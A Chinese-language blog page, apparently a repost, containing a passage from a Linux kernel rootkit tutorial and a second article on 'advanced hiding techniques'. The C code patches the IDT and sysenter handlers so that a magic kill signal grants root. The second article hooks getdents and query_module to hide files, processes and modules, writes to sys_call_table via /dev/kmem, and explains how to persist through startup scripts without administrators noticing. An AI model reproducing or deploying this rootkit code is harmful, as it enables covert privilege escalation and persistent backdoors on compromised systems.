*((unsigned long *)((void *) p+ORIG_BADSYS)) = orig_bad_sys[IDT];
*((unsigned long *)((void *) p+SYSCALL_CALL)) = syscall_call[IDT];
*((unsigned long *)((void *) p+HACKEDCALL)) = (unsigned long) &p_hacked_kill;
*((unsigned long *)((void *) p+AFTER_CALL)) = after_call[IDT];
} /********** fin set_idt_handler() ***********/
void set_sysenter_handler(void *sysenter)
{
unsigned char *p;
unsigned long *p2;
p = (unsigned char *) sysenter;
/* Seek “call *sys_call_table(,%eax,4)”*/
while (!((*p == 0xff) && (*(p+1) == 0×14) && (*(p+2) == 0×85)))
p++;
p += 7;
after_call[SYSENT] = (unsigned long) p;
p = (unsigned char *) sysenter;
/* Search “cmp 0×112,%eax”*/
while (!((*p == 0×3d) && (*(p+1) == 0×12) && (*(p+2) == 0×01)
&& (*(p+3) == 0×00)))
p++;
p += 11;
orig_bad_sys[SYSENT] = orig_bad_sys[IDT];
syscall_call[SYSENT] = (unsigned long)(p);
p = (unsigned char *)(syscall_call[SYSENT] - 0xb);
start_patch_sysenter = p;
memcpy(orig_sysenter, start_patch_sysenter, 6);
*p++ = 0×68;
p2 = (unsigned long *) p;
*p2++ = (unsigned long) ((void *) &sysenter_handler[JUMP]);
p = (unsigned char *) p2;
*p = 0xc3;
p = sysenter_handler;
*((unsigned long *)((void *) p+ORIG_BADSYS)) = orig_bad_sys[SYSENT];
*((unsigned long *)((void *) p+SYSCALL_CALL)) = syscall_call[SYSENT];
*((unsigned long *)((void *) p+HACKEDCALL)) = (unsigned long) &p_hacked_kill;
*((unsigned long *)((void *) p+AFTER_CALL)) = after_call[SYSENT];
} /********** fin set_sysenter_handler() ***********/
int hacked_kill(pid_t pid, int sig)
{
struct task_struct *ptr = current;
int tsig = SIG, tpid = PID, ret_tmp;
if ((tpid == pid) && (tsig == sig))
{
ptr->uid = 0;
ptr->euid = 0;
ptr->gid = 0;
ptr->egid = 0;
return(0);
}
else
{
ret_tmp = (*orig_kill)(pid, sig);
return(ret_tmp);
}
return(-1);
} /********** fin hacked_kill ************/
/* Liensece GPL */
MODULE_LICENSE(”GPL”);
—- eof —-
——[ 7.- 结束 ]
我希望你已经明白了2.6内核下如何实现一个rootkit。很快将会在http://www.enye-sec.org上公布一个LKM Rootkit,支持完整的系统调用重定向,不仅仅是重定向kill系统调用;另外还有加载模块的自隐藏等功能。
--------------------------------------------------------------------------------------------
Linux环境下的高级隐藏技术

隐藏技术在计算机系统安全中应用十分广泛,尤其是在网络攻击中,当攻击者成功侵入一个系统后,有效隐藏攻击者的文件、进程及其加载的模块变得尤为重要。本文将讨论Linux系统中文件、进程及模块的高级隐藏技术,这些技术有的已经被广泛应用到各种后门或安全检测程序之中,而有一些则刚刚起步,仍然处在讨论阶段,应用很少。  1.隐藏技术
1.1.Linux下的中断控制及系统调用
Intel x86系列微机支持256种中断,为了使处理器比较容易地识别每种中断源,把它们从0~256编号,即赋予一个中断类型码n,Intel把它称作中断向量。
Linux用一个中断向量(128或者0×80)来实现系统调用,所有的系统调用都通过唯一的入口system_call来进入内核,当用户动态进程执行一条int 0×80汇编指令时,CPU就切换到内核态,并开始执行system_call函数,system_call函数再通过系统调用表sys_call_table来取得相应系统调用的地址进行执行。系统调用表sys_call_table中存放所有系统调用函数的地址,每个地址可以用系统调用号来进行索引,例如sys_call_table[NR_fork]索引到的就是系统调用sys_fork()的地址。
Linux用中断描述符(8字节)来表示每个中断的相关信息,其格式如下:
偏移量31….16  一些标志、类型码及保留位
段选择符      偏移量15….0
所有的中断描述符存放在一片连续的地址空间中,这个连续的地址空间称作中断描述符表(IDT),其起始地址存放在中断描述符表寄存器(IDTR)中,其格式如下:
32位基址值  界限
其中各个结构的相应联系可以如下表示:

通过上面的说明可以得出通过IDTR寄存器来找到system_call函数地址的方法:根据IDTR寄存器找到中断描述符表,中断描述符表的第0×80项即是system_call函数的地址,这个地址将在后面的讨论中应用到。
1.2.Linux 的LKM(可装载内核模块)技术
为了使内核保持较小的体积并能够方便的进行功能扩展,Linux系统提供了模块机制。模块是内核的一部分,但并没有被编译进内核,它们被编译成目标文件,在运行过程中根据需要动态的插入内核或者从内核中移除。由于模块在插入后是作为Linux内核的一部分来运行的,所以模块编程实际上就是内核编程,因此可以在模块中使用一些由内核导出的资源,例如Linux2.4.18版以前的内核导出系统调用表(sys_call_table)的地址,这样就可以根据该地址直接修改系统调用的入口,从而改变系统调用。在模块编程中必须存在初始化函数及清除函数,一般情况下,这两个函数默认为init_module()以及clearup_module(),从2.3.13内核版本开始,用户也可以给这两个函数重新命名,初始化函数在模块被插入系统时调用,在其中可以进行一些函数及符号的注册工作,清除函数则在模块移除系统时进行调用,一些恢复工作通常在该函数中完成。
1.3.Linux下的内存映像
/dev/kmem是一个字符设备,是计算机主存的映像,通过它可以测试甚至修改系统,当内核不导出sys_call_table地址或者不允许插入模块时可以通过该映像修改系统调用,从而实现隐藏文件、进程或者模块的目的。
1.4.proc 文件系统
proc文件系统是一个虚拟的文件系统,它通过文件系统的接口实现,用于输出系统运行状态。它以文件系统的形式,为操作系统本身和应用进程之间的通信提供了一个界面,使应用程序能够安全、方便地获得系统当前的运行状况何内核的内部数据信息,并可以修改某些系统的配置信息。由于proc以文件系统的接口实现,因此可以象访问普通文件一样访问它,但它只存在于内存之中。
2.技术分析
2.1 隐藏文件
Linux系统中用来查询文件信息的系统调用是sys_getdents,这一点可以通过strace来观察到,例如strace ls 将列出命令ls用到的系统调用,从中可以发现ls是通过sys_getedents来执行操作的。当查询文件或者目录的相关信息时,Linux系统用sys_getedents来执行相应的查询操作,并把得到的信息传递给用户空间运行的程序,所以如果修改该系统调用,去掉结果中与某些特定文件的相关信息,那么所有利用该系统调用的程序将看不见该文件,从而达到了隐藏的目的。首先介绍一下原来的系统调用,其原型为:
int sys_getdents(unsigned int fd, struct dirent *dirp,unsigned int count)
其中fd为指向目录文件的文件描述符,该函数根据fd所指向的目录文件读取相应dirent结构,并放入dirp中,其中count为dirp中返回的数据量,正确时该函数返回值为填充到dirp的字节数。下图是修改后的系统调用hacked_getdents执行流程。
图中的hacked_getdents函数实际上就是先调用原来的系统调用,然后从得到的dirent结构中去除与特定文件名相关的文件信息,从而应用程序从该系统调用返回后将看不到该文件的存在。
应该注意的是,一些较新的版本中是通过sys_getdents64来查询文件信息的,但其实现原理与sys_getdents基本相同,所以在这些版本中仍然可以用与上面类似的方法来修改该系统调用,隐藏文件。
2.2 隐藏模块
上面分析了如何修改系统调用以隐藏特定名字的文件,在实际的处理中,经常会用模块来达到修改系统调用的目的,但是当插入一个模块时,若不采取任何隐藏措施,很容易被对方发现,一旦对方发现并卸载了所插入的模块,那么所有利用该模块来隐藏的文件就暴露了,所以应继续分析如何来隐藏特定名字的模块。Linux中用来查询模块信息的系统调用是sys_query_module,所以可以通过修改该系统调用达到隐藏特定模块的目的。首先解释一下原来的系统调用,原来系统调用的原型为:
int sys_query_module(const char *name, int which, void *buf, size_t bufsize , size_t *ret)
如果参数name不空,则访问特定的模块,否则访问的是内核模块,参数which说明查询的类型,当which=QM_MODULES时,返回所有当前已插入的模块名称,存入buff, 并且在ret中存放模块的个数,buffsize是buf缓冲区的大小。在模块隐藏的过程中只需要对which=QM_MODULES的情况进行处理就可以达到目的。修改后的系统调用工作过程如下:
1)调用原来的系统调用,出错则返回错误代码;
2)如果which不等于QM_MODULES,则不需要处理,直接返回。
3)从buf的开始位置进行处理,如果存在特定的名字,则将后面的模块名称向前覆盖该名字。
4)重复3),直到处理处理完所有的名字,正确返回。
2.3 隐藏进程
在Linux中不存在直接查询进程信息的系统调用,类似于ps这样查询进程信息的命令是通过查询proc文件系统来实现的,在背景知识中已经介绍过proc文件系统,由于它应用文件系统的接口实现,因此同样可以用隐藏文件的方法来隐藏proc文件系统中的文件,只需要在上面的hacked_getdents中加入对于proc文件系统的判断即可。由于proc是特殊的文件系统,只存在于内存之中,不存在于任何实际设备之上,所以Linux内核分配给它一个特定的主设备号0以及一个特定的次设备号1,除此之外,由于在外存上没有与之对应的i节点,所以系统也分配给它一个特殊的节点号PROC_ROOT_INO(值为1),而设备上的1号索引节点是保留不用的。通过上面的分析,可以得出判断一个文件是否属于proc文件系统的方法:
1)得到该文件对应的inode结构dinode;
2)if (dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) && MINOR(dinode->i _dev) == 1) {该文件属于proc文件系统}
通过上面的分析,给出隐藏特定进程的伪代码表示:
hacket_getdents(unsigned int fd, struct dirent *dirp, unsigned int count)
{
调用原来的系统调用;
得到fd所对应的节点;
if(该文件属于proc文件系统&&该文件名需要隐藏)
{从dirp中去掉该文件相关信息}
}
2.4 修改系统调用的方法
现在已经解决了如何修改系统调用来达到隐藏的目的,那么如何用修改后的系统调用来替换原来的呢?这个问题在实际应用中往往是最关键的,下面将讨论在不同的情况下如何做到这一点。
(1)当系统导出sys_call_table,并且支持动态的插入模块的情况下:
在Linux内核2.4.18版以前,这种内核配置是非常普遍的。这种情况下修改系统调用非常容易,只需要修改相应的sys_call_table表项,使其指向新的系统调用即可。下面是相应的代码:
int orig_getdents(unsigned int fd, struct dirent *dirp, unsigned int count)
int init_module(void) 
/*初始化模块*/
{
orig_getdents=sys_call_table[SYS_getdents];    //保存原来的系统调用
orig_query_module=sys_call_table[SYS_query_module]
sys_call_table[SYS_getdents]=hacked_getdents;  //设置新的系统调用
sys_call_table[SYS_query_module]=hacked_query_module;
return 0; //返回0表示成功
}
void cleanup_module(void)
/*卸载模块*/
{
sys_call_table[SYS_getdents]=orig_getdents;    //恢复原来的系统调用
sys_call_table[SYS_query_module]=orig_query_module;
}
(2)在系统并不导出sys_call_table的情况下:
linux内核在2.4.18以后为了安全起见不再导出sys_call_table符号,从而无法直接获得系统调用表的地址,那么就必须找到其他的办法来得到这个地址。在背景知识中提到了/dev/kmem是系统主存的映像,可以通过查询该文件来找到sys_call_table的地址,并对其进行修改,来使用新的系统调用。那么如何在系统映像中找到sys_call_table的地址呢?让我们先看看system_call的源代码是如何来实现系统调用的(代码见/arch/i386/kernel/entry.S):
ENTRY(system_call)
pushl %eax      # save orig_eax
SAVE_ALL
GET_CURRENT(%ebx)
cmpl $(NR_syscalls),%eax
jae badsys
testb $0×02,tsk_ptrace(%ebx)  # PT_TRACESYS
jne tracesys
call *SYMBOL_NAME(sys_call_table)(,%eax,4)
movl %eax,EAX(%esp)    # save the return value
ENTRY(ret_from_sys_call)
这段源代码首先保存相应的寄存器的值,然后判断系统调用号(在eax寄存器中)是否合法,继而对设置调试的情况进行处理,在所有这些进行完后,利用call *SYMBOL_NAME(sys_call_table)(,%eax,4) 来转入相应的系统调用进行处理,其中的SYMBOL_NAME(sys_call_table)得出的就是sys_call_table的地址。从上面的分析可以看出,当找到system_call函数之后,利用字符匹配来寻找相应call语句就可以确定sys_call_table的位置,因为call something(,%eax,4)的机器指令码是0xff 0×14 0×85。所以匹配这个指令码就行了。至于如何确定system_call的地址在背景知识中已经介绍了,下面给出相应的伪代码:
struct{ //各字段含义可以参考背景知识中关于IDTR寄存器的介绍
unsigned short limit;
unsigned int base;
}__attribute__((packed))idtr;
struct{ //各字段含义可以参考背景知识中关于中断描述符的介绍
unsigned short off1;
unsigned short sel;
unsigned char none,flags;
unsigned short off2;
}__attribute__((packed))idt;
int kmem;
/ *下面函数用于从kemem对应的文件中偏移量为off处读取sz个字节至内存m处*/
void readkmem(void *m,unsigned off,int sz) {………}
/*下面函数用于从src读取count个字节至dest处*/
void weitekmem(void *src,void *dest,unsigned int count) {………..}
unsigned sct;  //用来存放sys_call_table地址
char buff[100]; //用于存放system_call函数的前100个字节。
char *p;
if((kmem=open(“/dev/kmem”,O_RDONLY))<0)
return 1;
asm(“sidt %0” “:=m” (idtr));          //读取idtr寄存器的值至idtr结构中
readkmem(&idt,idtr.base+8*0×80,sizeof(idt))    //将0×80描述符读至idt结构中
sys_ call_off=(idt.off2<<16)|idt.off1;       //得到system_call函数的地址。
readkmem(buff,sys_call_off,100)   //读取system_call函数的前100字节至buff
p=(char *)memmem(buff,100,”xffx14×85”,3);  //得到call语句对应机器码的地址
sct=(unsigned *)(p+3)            //得到sys_call_table的地址。
至此已经得到了sys_call_table在内存中的位置,这样在根据系统调用号就能够找到相应的系统调用对应的地址,修改该地址就可以使用新的系统调函数,具体的做法如下:
readkmem(&orig_getdents,sct+ SYS_getdents*4,4)//保存原来的系统调用
readkmem(&orig_query_module,sct+SYS_query_module*4,4);
writekmem(hacked_getdents,sct+SYS_getdents*4,4);//设置新的系统调用
writekmem(hacket_query_module,sct+SYS_query_module*4,4);
2.5 其他的相关技术
上面已经完全解决了隐藏的相关技术问题,在实际应用中,可以把启动模块或者进程的代码做成脚本加入到相应的启动目录中,假设你的Linux运行级别为3,则可以加到目录rc3.d中(该目录常存在于/etc/rc.d或者/etc目录下),然后把该脚本的名字改为可以隐藏的名字。另一种方法就是在一些启动脚本中加入启动你的模块或者进程的代码,但这样比较容易被发现,一个解决思路就是进程或模块启动以后马上恢复正常的脚本,由于系统关机时会向所有进程发送SIGHUP信号,可以在进程或模块中处理该信号,使该信号发生时修改启动脚本,重新加入启动模块的代码,这样当系统下次启动时又可以加载这个的模块了,而且管理员察看启动脚本时也不会发现异常。
3.结束语
本文对Linux环境下的一些高级隐藏技术进行了分析研究,其中所涉及的技术不仅可以用在系统安全方面,在其他方面也有重要的借鉴意义。由于Linux的开放特性,使得攻击者一旦获得了root权限就能够对系统进行较多的修改,所以避免第一次被入侵是至关重要的。

No comments:

Post a Comment